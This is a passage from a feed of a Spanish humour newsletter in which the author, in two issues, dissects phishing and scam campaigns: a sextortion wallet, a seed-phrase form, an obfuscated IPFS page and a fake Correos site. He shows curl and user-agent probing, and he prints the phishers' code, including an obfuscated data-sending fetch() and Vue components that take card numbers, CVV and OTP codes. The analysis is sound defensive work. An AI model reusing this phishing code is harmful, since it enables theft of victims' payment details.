leer el <i>spam</i> que me llega.</p><h1 class="heading" style="text-align:left;">📧 Ham or Spam</h1><p class="paragraph" style="text-align:left;">Algunos son preocupantemente acertados:</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/0eaa6b3e-e9b1-47ae-9ffd-468a3be3558d/Screenshot_2023-07-18_at_12.47.16.png"/></div><p class="paragraph" style="text-align:left;">Pero por lo general son burdos casos de phishing. Uno de ellos es bastante conocido en el mundillo este, un texto genérico con el que te dicen que te han hackeado y que tienen vídeos tuyos <i>meneándote la pilila</i> y que se los van a enviar a tu abuela si no les envías unos <i>bitcoins</i>. Por lo general no tienen mucha gracia porque no hay enlaces ni hackeos interesantes, sólo esperan que te de canguelo y les pagues los $1.450 que te piden.</p><p class="paragraph" style="text-align:left;">Pero bueno, que no caería nadie en algo tan burdo, ¿no?</p><p class="paragraph" style="text-align:left;">Tenemos un solo dato: la dirección de Bitcoin donde debería ingresar la extorsión. ¿Habrá alguna transacción entrante?</p><p class="paragraph" style="text-align:left;">Wooops.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/00e6805d-6bac-4c19-b91f-f002d5683bee/Screenshot_2023-07-18_at_13_00_07.png"/><div class="image__source"><span class="image__source_text"><p>0,048 BTC ~ $1.450</p></span></div></div><p class="paragraph" style="text-align:left;">Pues sí que caen, sí. Dos, por lo menos, en esta dirección, de las quien sabe cuantas miles de <i>wallets</i> que usarán éstos. Deprimente el asunto.</p><p class="paragraph" style="text-align:left;">Seguimos mirando el spam.</p><p class="paragraph" style="text-align:left;">Otro de <i>cryptobros</i>, este es uno que te dicen que “tienes que clarificar una transacción en el Blockchain que has hecho”. <i>¿Dafuq?</i></p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/19188015-43af-491b-a099-b30a29d26bcf/Screenshot_2023-07-18_at_13.04.07.png"/><div class="image__source"><span class="image__source_text"><p>Seems legit.</p></span></div></div><p class="paragraph" style="text-align:left;">Hay un link de un acortador que probablemente me hackeará el <i>pece</i> entero. Pero como de costumbre, lo descargo con <i>curl</i>. Ahora el atacante ya sabe que lo he abierto. <b><i>Doble emoción</i></b>. Me redirecciona a una URL <i>muy turbia</i>.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/88c77b83-ba72-41a0-b0ae-57e90d3e0c52/Screenshot_2023-07-18_at_13.07.21.png"/></div><p class="paragraph" style="text-align:left;">Por lo visto el <a class="link" href="http://glitch.me?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=41-estar-quemado-estar-de-rodriguez-estar-ofuscado" target="_blank" rel="noopener noreferrer nofollow"><i>glitch.me</i></a> este es un servicio real: <i>“The friendly community where everyone builds the web”</i>. No tan <i>friendly.</i></p><p class="paragraph" style="text-align:left;">Me la juego y accedo.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/5837cc81-0eb6-4305-8f0a-2597d672d804/Screenshot_2023-07-18_at_13.11.04.png"/></div><p class="paragraph" style="text-align:left;">Pues vaya, poco misterio. Un formulario donde te piden que metas la <i>back-up phrase</i> de tu <i>wallet</i>. Para los no iniciados, son 12 palabras que se han usado para generar la clave privada de tu dirección de Bitcoin. Y que, con ellas, tienes acceso completo a la cuenta (¡y puedes vaciarla!).</p><p class="paragraph" style="text-align:left;">Lo interesante es el <code>action</code> del formulario. ¿Qué habrá interesante ahí? El dominio <code>mefrtey.online</code> apunta a un hosting que está suspendido. Hace pocos días, en junio, devolvía un <i>listing</i> y estaba vacío 🤷‍♂️.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/eb35781f-9fec-4015-a0b4-317f8c7fa487/Screenshot_2023-07-18_at_13.17.12.png"/></div><p class="paragraph" style="text-align:left;">¿Y el subdominio? Las DNS van a la misma IP. Y redirige también a una página de <i>página suspendida</i>.</p><p class="paragraph" style="text-align:left;">¿Y el PHP en sí? Le hago un POST y…</p><div class="codeblock"><pre><code>HTTP/2 302
content-type: text/html
content-length: 683
date: Tue, 18 Jul 2023 11:21:39 GMT
server: LiteSpeed
cache-control: no-cache, no-store, must-revalidate, max-age=0
location: https://kap.mefrtey.online/cgi-sys/suspendedpage.cgi
x-turbo-charged-by: LiteSpeed</code></pre></div><p class="paragraph" style="text-align:left;">Ooooh, qué lástima. Suspendido también. Le han chapado el garito a nuestro <i>juánquer.</i> Parece que con éste no vamos a poder divertirnos.</p><p class="paragraph" style="text-align:left;">Vamos a probar uno más, por las risas. Este es bastante fantasía. Un hipotético contable nos envía un documento para revisar. No hay adjunto, pero hay un enlace que está hecho para parecer un adjunto.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/431f2097-66c7-418b-9d24-556d6bd9370a/Screenshot_2023-07-18_at_15.57.00.png"/></div><p class="paragraph" style="text-align:left;">Ok, vamos a ver esos enlaces. Van a…. ¿¿IPFS??</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/420ebad9-d2c6-4c18-a498-47df2d5c1316/Screenshot_2023-07-18_at_15.59.41.png"/></div><p class="paragraph" style="text-align:left;">IPFS es un sistema de almacenamiento de archivos distribuido. Algo así como Bittorrent, pero para alojar cosas como si fuese la web. Ha tenido un éxito escaso, excepto en el mundillo crypto/web3 y para Cloudflare, que le dio en 2018 por empezar a usarlo en sus sistemas y lanzó un <i>gateway</i> para acceder a contenido IPFS desde Internet en 2022.</p><p class="paragraph" style="text-align:left;">Esto último es lo que están usando en este enlace. Ese churro enorme es un <i>hash</i> que identifica <b>el contenido</b> del fichero almacenado en la red.</p><p class="paragraph" style="text-align:left;">Para lo que a nosotros concierne, nos lo podemos bajar a ver qué pasa y punto. Lo hago. Decepción:</p><div class="codeblock"><pre><code>/ipfs/bafybeicqhkjn3o3sjwi4xwmy3ipri72tpdsn32nrnbw4razh7m7td33gsu: content is unavailable because it violates the Cloudflare IPFS gateway&#39;s terms of service</code></pre></div><p class="paragraph" style="text-align:left;">Vaya lástima, de nuevo se nos han adelantado y han <i>baneado</i> al pobre <i>juánquer</i> que nos quería chorizar los duros.</p><p class="paragraph" style="text-align:left;">Pero aquí sí tenemos alternativas. Porque IPFS, como Bittorrent, es distribuido e imposible de censurar. Sólo tenemos que encontrar otro <i>gateway</i> que no tenga escrúpulos. Parece que <code>ipfs.io</code> es uno de ellos. Nos hacemos con el archivo, que resulta ser un HTML, como era de esperar y…</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/b1237b57-23a0-4d2d-809d-51126a16aa60/a66f9d4524d61971bd61d48323253a73.gif"/><div class="image__source"><span class="image__source_text"><p>Qué cosa tan maravillosa</p></span></div></div><p class="paragraph" style="text-align:left;">Toneladas y toneladas de código mega ofuscado, funciones con nombres como <code>_0xba58x4b</code> o <code>_0xba58x45</code>.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/7bc2eaab-2d1b-4991-a3ad-c8db76bf5473/Screenshot_2023-07-18_at_16.25.10.png"/><div class="image__source"><span class="image__source_text"><p>Lo he puesto en pequeñito para que quepa más. Da igual, es ilegible en grande también.</p></span></div></div><p class="paragraph" style="text-align:left;">Código tan bonito como este:</p><div class="codeblock"><pre><code>const _0xba58x45 = async(_0xba58x29, _0xba58x46, _0xba58x47, _0xba58x48 = _0x2bc3[151]) =&gt; &#123;
                const _0xba58x49 = await fetch(atob(_0xba58x25 + _0xba58x26 + _0xba58x27 + _0xba58x28) + _0x2bc3[152] + _0xba58x24 + _0x2bc3[153] + _0xba58x29 + _0x2bc3[154] + _0xba58x46 + _0x2bc3[155] + _0xba58x47 + _0x2bc3[156] + _0xba58x48);
                console[_0x2bc3[9]](_0x2bc3[157])
            &#125;;</code></pre></div><p class="paragraph" style="text-align:left;">Tu ahí igual ves ruido. Yo veo horas de diversión. Horas de explorar.</p><p class="paragraph" style="text-align:left;">De ser otra vez un <i>teenager</i> que va de <i>hacker</i> pero sin patines.</p><h1 class="heading" style="text-align:left;">👋💣💨🧙‍♂️— Bomba de humo </h1><p class="paragraph" style="text-align:left;">Y esta diversión no te contaré hoy, porque no me da tiempo.</p><p class="paragraph" style="text-align:left;">¿Emocionante, eh?</p><p class="paragraph" style="text-align:left;">🤯.</p><p class="paragraph" style="text-align:left;">Tal vez será a la próxima. Pero va a parecer esto que es una newsletter de seguridad informática.</p><p class="paragraph" style="text-align:left;">Y no lo es. Te recuerdo que esta es una newsletter que se enorgullece de ser de <i>chorradas</i>.</p><p class="paragraph" style="text-align:left;">Así que ya veremos.</p><p class="paragraph" style="text-align:left;">Nos leemos pronto.</p></div><div class='beehiiv__footer'><br class='beehiiv__footer__break'><hr class='beehiiv__footer__line'><a target="_blank" class="beehiiv__footer_link" style="text-align: center;" href="https://www.beehiiv.com/?utm_campaign=b0b8e7ab-c0ed-419c-858d-b34ffb9eacfa&utm_medium=post_rss&utm_source=vivir_del_cuento_y_no_morir_en_el_intento">Powered by beehiiv</a></div></div>
  ]]></content:encoded>
</item>

      <item>
  <title>#40 - La Crisis</title>
  <description>Sudar, entretener y vaciar cuentas del banco</description>
  <link>https://cuento.beehiiv.com/p/40-la-crisis</link>
  <guid isPermaLink="true">https://cuento.beehiiv.com/p/40-la-crisis</guid>
  <pubDate>Wed, 12 Jul 2023 09:00:00 +0000</pubDate>
  <atom:published>2023-07-12T09:00:00Z</atom:published>
    <dc:creator>Adrià López</dc:creator>
  <content:encoded><![CDATA[
    <div class='beehiiv'><style>
  .bh__table, .bh__table_header, .bh__table_cell { border: 1px solid #C0C0C0; }
  .bh__table_cell { padding: 5px; background-color: #FFFFFF; }
  .bh__table_cell p { color: #2D2D2D; font-family: 'Helvetica',Arial,sans-serif !important; overflow-wrap: break-word; }
  .bh__table_header { padding: 5px; background-color:#F1F1F1; }
  .bh__table_header p { color: #2A2A2A; font-family:'Trebuchet MS','Lucida Grande',Tahoma,sans-serif !important; overflow-wrap: break-word; }
</style><div class='beehiiv__body'><p class="paragraph" style="text-align:left;">La Crisis se llama esta edición de la newsletter.</p><p class="paragraph" style="text-align:left;">No es la crisis de las <i>subprime</i> de 2008. Ni la de las <i>puntocom</i>. Ni el miércoles negro en el que el tito Soros se levantó un <a class="link" href="https://es.wikipedia.org/wiki/Millardo?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=40-la-crisis" target="_blank" rel="noopener noreferrer nofollow"><i>millardejo</i></a>.</p><p class="paragraph" style="text-align:left;">Es la crisis de los cuarenta. De la edición #40.</p><p class="paragraph" style="text-align:left;">Creo que las crisis en <i>los creativos</i> (sí, me voy a catalogar así, con dos cojones) son como las económicas: cíclicas. Un <i>Gartner hype cycle</i> dentro de la cabeza.</p><p class="paragraph" style="text-align:left;">Te levantas un día y dices <i>yo puedo</i>. Me voy a poner a ello. Voy a escribir, yo que sé, una newsletter todas las semanas, por ejemplo. Y hablaré de negocios online y será súper interesante y me seguirá todo el mundo y seré el más guapo del pueblo y me lloverá la pasta y me pagaré una oficina en la castellana y me invitarán a todos los saraos y me lo fundiré todo en blackberries, magnums de Moët y <a class="link" href="https://www.levante-emv.com/comunitat-valenciana/2011/12/12/traductoras-rumanas-tenian-20-anos-13020076.html?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=40-la-crisis" target="_blank" rel="noopener noreferrer nofollow">traductoras rumanas</a>.</p><p class="paragraph" style="text-align:left;">Y luego resulta que estás <i>chalao</i> y no escribes una puta mierda de negocios, más que nada porque no te sale ninguno ni medio bien, y en su lugar te pones a divagar sobre mierdas que no interesan a nadie.</p><p class="paragraph" style="text-align:left;">El fulgurante crecimiento que esperabas se traduce en nada absolutamente y al final escribes mayormente por pasar el rato. Y te deprimes. No valgo nada. Para qué hago todo esto. Voy a empezar a fumar que igual me hace más interesante.</p><p class="paragraph" style="text-align:left;">Hago un inciso para decirlo ya: no, no vuelvo a parar de escribir, no os preocupéis.</p><p class="paragraph" style="text-align:left;">Pero la realidad es que releo la edición de la semana pasada, la #39, y es flojita. Más autoservicio por aquello de decir que voy a moverme un poco, pero nada más. Y me jode.</p><p class="paragraph" style="text-align:left;">Al final es un poco por lo de siempre. Lo comenté en la primerísima edición de esta newsletter <i>“Entretenimiento, información y publicidad, las tres claves de toda buena newsletter.”</i></p><p class="paragraph" style="text-align:left;">Pues el problema es que no tengo nada que publicitar y de informativo hay poco que rascar por aquí.</p><p class="paragraph" style="text-align:left;">Así que me cago. Ya no se cuantos virajes de timón llevo ya por aquí, sí. Pues otro, hostias. Que la newsletter es mía y me la pivoto cuando quiero.</p><p class="paragraph" style="text-align:left;">Ahora esta newsletter va oficialmente (de nuevo) sobre chorradas. Nuevo copy en la landing y todo (obviamente):</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/61a757ec-34a0-4351-a194-23a1f8eb8929/Screenshot_2023-07-04_at_09.48.58.png"/></div><p class="paragraph" style="text-align:left;">Alguno por ahí estará contento:</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/53856b80-1c17-440b-8563-4641d2b8075c/Screenshot_2023-07-04_at_09.54.31.png"/></div><h1 class="heading" style="text-align:left;">✋🏎️🚨— Frenazo en seco: <i>Phishing</i></h1><p class="paragraph" style="text-align:left;">Ahora la newsletter es de seguridad informática de repente. Boom 💣.</p><p class="paragraph" style="text-align:left;">Hace un montón de años me dio una <i>venada</i> que la verdad es que estuvo muy bien. Me dediqué unos meses a recopilar spam y phishing (y también algún <i>hackeo</i> de webs de colegas) para investigarlos a fondo y entender cómo funcionaban.</p><p class="paragraph" style="text-align:left;">De hecho escribí algún post en uno de aquellos mil blogs que abrí por aburrimiento. <a class="link" href="http://poorcode.com/old-stuff/?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=40-la-crisis" target="_blank" rel="noopener noreferrer nofollow">Aquí hay un par que recuperé hace años de un disco duro antiguo</a>.</p><p class="paragraph" style="text-align:left;">El caso es que me estaba preparando para escribiros alguna chorrada aquí, por ejemplo comentando el lamentable debate de la noche del lunes, cuando justo me ha llegado un SMS sospechoso ni más ni menos que de <b>CORREOS Y TELÉGRAFOS</b>, sepa usted:</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/e9b4cd51-199a-4faa-b0fc-89c51f571fe6/Screenshot_2023-07-11_at_09.30.07.png"/><div class="image__source"><span class="image__source_text"><p>No sé Rick, parece falso</p></span></div></div><p class="paragraph" style="text-align:left;">Esa URL, sin SSL, con TLD de gama baja y general olor a cuerno quemado. Ese <i>correos</i> que le falta una <i>erre</i> y le sobran letras al final. Ese <i>paquete </i>que se repite en una misma frase. Esos acentos que brillan por su ausencia (aún que esto último es habitual).</p><p class="paragraph" style="text-align:left;">Hacer <i>click</i> en el enlace sería una locura. Pero hacer <i>curl</i> no tanto, ¿no? </p><div class="codeblock"><pre><code>❯ curl -iL http://coreorsiy.icu
HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Tue, 11 Jul 2023 07:34:43 GMT
Content-Type: text/html
Content-Length: 162
Connection: keep-alive
Location: https://coreorsiy.icu/
Strict-Transport-Security: max-age=31536000

HTTP/2 301
server: nginx
date: Tue, 11 Jul 2023 07:34:44 GMT
content-type: text/html; charset=utf-8
content-length: 52
location: http://correos.es
strict-transport-security: max-age=31536000</code></pre></div><p class="paragraph" style="text-align:left;">Vaya. Esta no me la esperaba. ¿Me redirecciona a la página de correos de verdad? ¿Sin más? No puede ser, aquí o bien:</p><ul><li><p class="paragraph" style="text-align:left;">Hay trampa</p></li><li><p class="paragraph" style="text-align:left;">Sólo quieren recopilar quién está dándole al enlace. Sin embargo, no hay tracking IDs ni nada que me identifique más allá de mi IP. Poco sólido.</p></li></ul><h2 class="heading" style="text-align:left;">Opción 2️⃣ — Quieren tracking 🐁</h2><p class="paragraph" style="text-align:left;">Vamos a explorar la segunda opción. ¿Qué información estamos pasándole al servidor? Básicamente, el dominio. ¿Igual han registrado unos cientos de dominios? Vamos a ver a los <i>vecinos:</i></p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/d3f4150f-0b33-405d-901f-37a0a131cb4f/Screenshot_2023-07-11_at_09.39.15.png"/><div class="image__source"><span class="image__source_text"><p>Mirando dominios con las dos últimas letras modificadas</p></span></div></div><p class="paragraph" style="text-align:left;">Nada de nada. Investiguemos el dominio en sí:</p><div class="codeblock"><pre><code># whois.nic.icu

Domain Name: COREORSIY.ICU
Registry Domain ID: D379753776-CNIC
Registrar WHOIS Server: whois.gname.com
Registrar URL: https://www.gname.com/
Updated Date: 2023-07-08T10:35:04.0Z
Creation Date: 2023-07-08T10:34:30.0Z
Registry Expiry Date: 2024-07-08T23:59:59.0Z
Registrar: Gname.com Pte. Ltd.
Registrar IANA ID: 1923
Domain Status: serverTransferProhibited https://icann.org/epp#serverTransferProhibited
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Domain Status: addPeriod https://icann.org/epp#addPeriod
Registrant Organization: Frances  D  Weatherford
Registrant State/Province: Arizona
Registrant Country: US</code></pre></div><p class="paragraph" style="text-align:left;">Vale. Dominio registrado hace tres días por un o una tal Weatherford de Arizona. No hay mucho que rascar por aquí. Probablemente es algún desgraciado al que han robado la identidad.</p><p class="paragraph" style="text-align:left;">Vamos a ver si podemos sacar algo de información con la IP del servidor. Primero, intentamos hacer un lookup inverso de DNS, que nos dice los dominios asociados con esta IP.</p><p class="paragraph" style="text-align:left;">El resultado: nada de nada. Es demasiado joven este dominio e IP y no hay registros cacheados en ningún lado.</p><p class="paragraph" style="text-align:left;">Probamos a atacar el servidor web directamente sin pasarle <code>Host</code>. Curiosamente, nos redirige también a Correos. Esto significa que muy probablemente tiene un VPS o servidor dedicado exclusivamente a este “servicio”:</p><div class="codeblock"><pre><code>❯ curl -ik https://129.226.92.135/
HTTP/2 301
server: nginx
date: Tue, 11 Jul 2023 07:45:37 GMT
content-type: text/html; charset=utf-8
content-length: 52
location: http://correos.es
strict-transport-security: max-age=31536000

&lt;a href=&quot;http://correos.es&quot;&gt;Moved Permanently&lt;/a&gt;.</code></pre></div><p class="paragraph" style="text-align:left;">La última bala. Vamos a ver el certificado SSL:</p><div class="codeblock"><pre><code>❯ echo | openssl s_client -showcerts -servername coreorsiy.icu -connect coreorsiy.icu:443 2&gt;/dev/null | openssl x509 -inform pem -noout -text

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            04:8b:65:4c:aa:2b:49:bb:3c:6f:37:55:b3:b0:e5:76:22:cb
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=US, O=Let&#39;s Encrypt, CN=R3

[...]</code></pre></div><p class="paragraph" style="text-align:left;">Es de Let’s Encrypt, como todo absolutamente online en 2023. Nada que hacer aquí.</p><p class="paragraph" style="text-align:left;">En resumen, que no veo cómo pueden estar <i>exfiltrando</i> información sólo con el click. Vamos a probar otra cosa</p><h2 class="heading" style="text-align:left;">Opción 1️⃣ — Hay 🐈 encerrado</h2><p class="paragraph" style="text-align:left;">Con cURL me redirecciona a Correos. Con Chrome 114 en Windows 10 (un Sandbox online) tampoco parece que pase nada. ¿Igual en Android sí? Vamos a hacer un poco de <i>fuzzying</i> de <code>user-agent</code> a ver.</p><p class="paragraph" style="text-align:left;">Probamos emulando el <i>user-agent</i> de un Samsung Galaxy S10:</p><div class="codeblock"><pre><code>❯ curl -iL -A &quot;Mozilla/5.0 (Linux; Android 12; SM-G973F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36&quot; http://coreorsiy.icu
HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Tue, 11 Jul 2023 07:57:38 GMT
Content-Type: text/html
Content-Length: 162
Connection: keep-alive
Location: https://coreorsiy.icu/
Strict-Transport-Security: max-age=31536000

HTTP/2 200
server: nginx
date: Tue, 11 Jul 2023 07:57:39 GMT
content-type: text/html; charset=utf-8
vary: Accept-Encoding
strict-transport-security: max-age=31536000

[... un montón de HTML ...]</code></pre></div><p class="paragraph" style="text-align:left;"><b>BINGO 💣. Ya no nos redirecciona a Correos</b><i> </i>sino que nos devuelve una página <i>very suspicious</i>. Vamos a charle un vistazo. Eso sí, sin renderizarla, que no tengo ahora mismo ningún PC bien <i>sandboxeado</i> para esto. Nos ponemos las <b>Gafas de Frontpage</b> y a leer código como si fuese 1995.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/deb4a396-6d79-4ea6-9233-0e63cc630969/microsoft-frontpage-97-06.png"/><div class="image__source"><span class="image__source_text"><p>Qué recuerdos. Pero es broma. Leo el HTML en la terminal como la gente normal.</p></span></div></div><p class="paragraph" style="text-align:left;">Lo primero: parece que está directamente <i>scrapeado</i> de la página real de Correos. Varios scripts <i>hotlinked</i> al dominio de correos que probablemente explotarán por CORS.</p><p class="paragraph" style="text-align:left;">Al final de la página hay un bloque <code>script</code> que tiene un JSON en una variable <code>json_data</code>. Este JSON parece una configuración normal de un widget del estado del envío. Para que la página quede más realista, estos <i>pillines</i> cogen el JSON y le cambian unas fechas a hoy, ayer y anteayer. Muy cucos ellos:</p><div class="codeblock"><pre><code>const days = [];
    const today = new Date();
    const options = &#123;year: &#39;numeric&#39;, month: &#39;long&#39;, day: &#39;numeric&#39;&#125;;
    for (let i = 0; i &lt; 3; i++) &#123;
        const pastDay = new Date(today.getFullYear(), today.getMonth(), today.getDate() - i - 1);
        const formattedDate = pastDay.toLocaleDateString(&#39;es-ES&#39;, options);
        days.push(formattedDate);
    &#125;
    const formattedJsonData = json_data.replaceAll(&#39;23 de enero, 2023&#39;, days[2]).replaceAll(&#39;24 de enero, 2023&#39;, days[1]).replaceAll(&#39;10 de febrero, 2023&#39;, days[0])</code></pre></div><p class="paragraph" style="text-align:left;">Así parece que cuando entras es de verdad un envío de hace unos días. Otra cosa graciosa es el número de envío, que lo <i>hardcodean</i> más adelante a <code>LS577972916CH</code>. Si buscamos en Google, resulta que es el número de envío de <a class="link" href="https://www.reddit.com/r/askspain/comments/11ko3t7/help_understanding_correos_tracking_information/?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=40-la-crisis" target="_blank" rel="noopener noreferrer nofollow">un chaval extranjero pidiendo ayuda en Reddit</a>. 🤷‍♂️.</p><p class="paragraph" style="text-align:left;">El meollo del asunto parece ser este botón turbio. Que por cierto es un <a class="link" href="https://developer.mozilla.org/en-US/docs/Web/API/Web_components?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=40-la-crisis" target="_blank" rel="noopener noreferrer nofollow">Web Component</a>, todo muy moderno oiga:</p><div class="codeblock"><pre><code>&lt;correos-ui-button full-width=&quot;true&quot; class=&quot;cdk-btn sc-correos-cdk-shipping-locator sc-correos-ui-button-h sc-correos-ui-button-s hydrated&quot; aria-disabled=&quot;false&quot; theme=&quot;secondary&quot; &gt;&lt;div class=&quot;mdc-touch-target-wrapper sc-correos-ui-button&quot;&gt;&lt;button type=&quot;submit&quot; class=&quot;mdc-button full-width false sc-correos-ui-button sc-correos-ui-button-s mdc-ripple-upgraded&quot; style=&quot;background-color: #ffcd00!important;color:#002c68!important;&quot; onclick=&quot;window.location.href=&#39;/address&#39;&quot;&gt;&lt;div class=&quot;mdc-button__ripple sc-correos-ui-button&quot;&gt;&lt;/div&gt;&lt;span class=&quot;mdc-button__label sc-correos-ui-button sc-correos-ui-button-s&quot;&gt;&lt;span slot=&quot;text&quot; class=&quot;sc-correos-cdk-shipping-locator&quot;&gt;Reparar mi dirección&lt;/span&gt;&lt;/span&gt;&lt;/button&gt;&lt;/div&gt;&lt;/correos-ui-button&gt;</code></pre></div><p class="paragraph" style="text-align:left;">Entre toda esa morralla hay dos cosas interesantes:</p><ul><li><p class="paragraph" style="text-align:left;">El texto “Reparar mi dirección” — nuevo <i>high-level-spanglish</i> este.</p></li><li><p class="paragraph" style="text-align:left;">Y una redirección a <code>/address</code>.</p></li></ul><p class="paragraph" style="text-align:left;">Vamos a bajarnos esa dirección:</p><div class="codeblock"><pre><code>❯ curl -iL -A &quot;Mozilla/5.0 (Linux; Android 12; SM-G973F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36&quot; https://coreorsiy.icu/address
HTTP/2 200
server: nginx
date: Tue, 11 Jul 2023 08:18:18 GMT
content-type: text/html; charset=utf-8
vary: Accept-Encoding
strict-transport-security: max-age=31536000

[... más código tope infectao ...]</code></pre></div><p class="paragraph" style="text-align:left;">De nuevo una chorripágina <i>copypaste</i> de la de Correos y en medio del meollo un <code>target</code> para algún framework Javascript:</p><div class="codeblock"><pre><code>&lt;div class=&quot;aem-GridColumn aem-GridColumn--default--12&quot; id=&quot;app&quot; style=&quot;margin: 40px 20px 0 20px&quot;&gt;</code></pre></div><p class="paragraph" style="text-align:left;">¿Quién renderiza esta <code>app</code>? Pues huele a que este script:</p><div class="codeblock"><pre><code>&lt;script type=&quot;module&quot; crossorigin src=&quot;/assets/index-2981e395.js&quot;&gt;&lt;/script&gt;</code></pre></div><p class="paragraph" style="text-align:left;">Que me bajo, y tras ponerme las <b>Gafas de JS Minificado</b> para enfrentarme a…</p><p class="paragraph" style="text-align:left;">…hostias…</p><p class="paragraph" style="text-align:left;"><b>¿¿547KB de Javascript??</b></p><p class="paragraph" style="text-align:left;">Lo que hace uno por su audiencia…</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/5133cdf9-e6d3-4631-9e76-efe2a639e93b/Screenshot_2023-07-11_at_10.25.08.png"/><div class="image__source"><span class="image__source_text"><p>Big wall-of-text energy. Es Vue.js, por cierto.</p></span></div></div><p class="paragraph" style="text-align:left;">Por suerte soy un wizard 🧙‍♂️ de leer basura arcana de esta y rápidamente se descubre el pastel. En resumen, te dicen que <i>“Por favor proporcione la dirección de envío correcta. La dirección correcta asegurará que le entreguemos el paquete de manera precisa y oportuna.”</i>. Pero entonces viene la trampa: te recuerdan que hay un <i>“Recargo por reentrega en caso de problemas con la dirección. Importe varía según factores. Actualice su información para evitar costos adicionales. Contacte con atención al cliente para más información.”</i> Y entonces viene la <i>pièce de résistance</i>:</p><div class="codeblock"><pre><code>name: &quot;CardInput&quot;,
data() &#123;
 return &#123;
  tip: !1,
  PostData: &#123;
   Appid: &quot;&quot;,
   CardNumber: &quot;&quot;,
   CardHolder: &quot;&quot;,
   CardExpDate: &quot;&quot;,
   CardCVV: &quot;&quot;
  &#125;,
  inputRefs: [],
  notEmpty: /^(?![!@#$%^&amp;*()_+[\]&#123;&#125;;&#39;:&quot;\\|,.&lt;&gt;/?~`-]*$).*$/,
  ExpDate: /[0-9]&#123;2&#125;\/[0-9]&#123;2&#125;$/,
  CvvRegex: /[0-9]&#123;3,4&#125;$/,
  loading: !1
 &#125;
&#125;,</code></pre></div><p class="paragraph" style="text-align:left;">Eso que ves ahí arriba es un componente de Vue para que metas la tarjeta de crédito. Sí. Y hay más:</p><div class="codeblock"><pre><code>   methods: &#123;
    sendCode() &#123;
     this.isCounting = !0, this.countDown = &quot;00:59&quot;, this.timer = setInterval(() =&gt; &#123;
      let e = this.countDown.split(&quot;:&quot;),
       t = Number.parseInt(e[0]),
       r = Number.parseInt(e[1]);
      t === 0 &amp;&amp; r === 0 ? (clearInterval(this.timer), this.isCounting = !1) : r === 0 ? (t--, r = 59) : r--, this.countDown = `$&#123;t &lt; 10 ? &quot;0&quot; + t : t&#125;:$&#123;r &lt; 10 ? &quot;0&quot; + r : r&#125;`
     &#125;, 1e3)
    &#125;,
    PostSMSCode() &#123;
     this.PostData.OTP.length &gt; 0 ? (this.loading = !0, PostOTP(this.PostData).then(e =&gt; &#123;
      e.data.code === 2e4 &amp;&amp; this.CheckOTPStatus()
     &#125;).catch(e =&gt; &#123;
      this.loading = !1, console.log(e)
     &#125;)) : this.$refs.input.status = &quot;error&quot;
    &#125;,
    CheckOTPStatus() &#123;
     const e = new EventSource(`/api/CheckOTP?appid=$&#123;this.PostData.Appid&#125;`);
     e.addEventListener(&quot;message&quot;, t =&gt; &#123;
      const r = t.data;
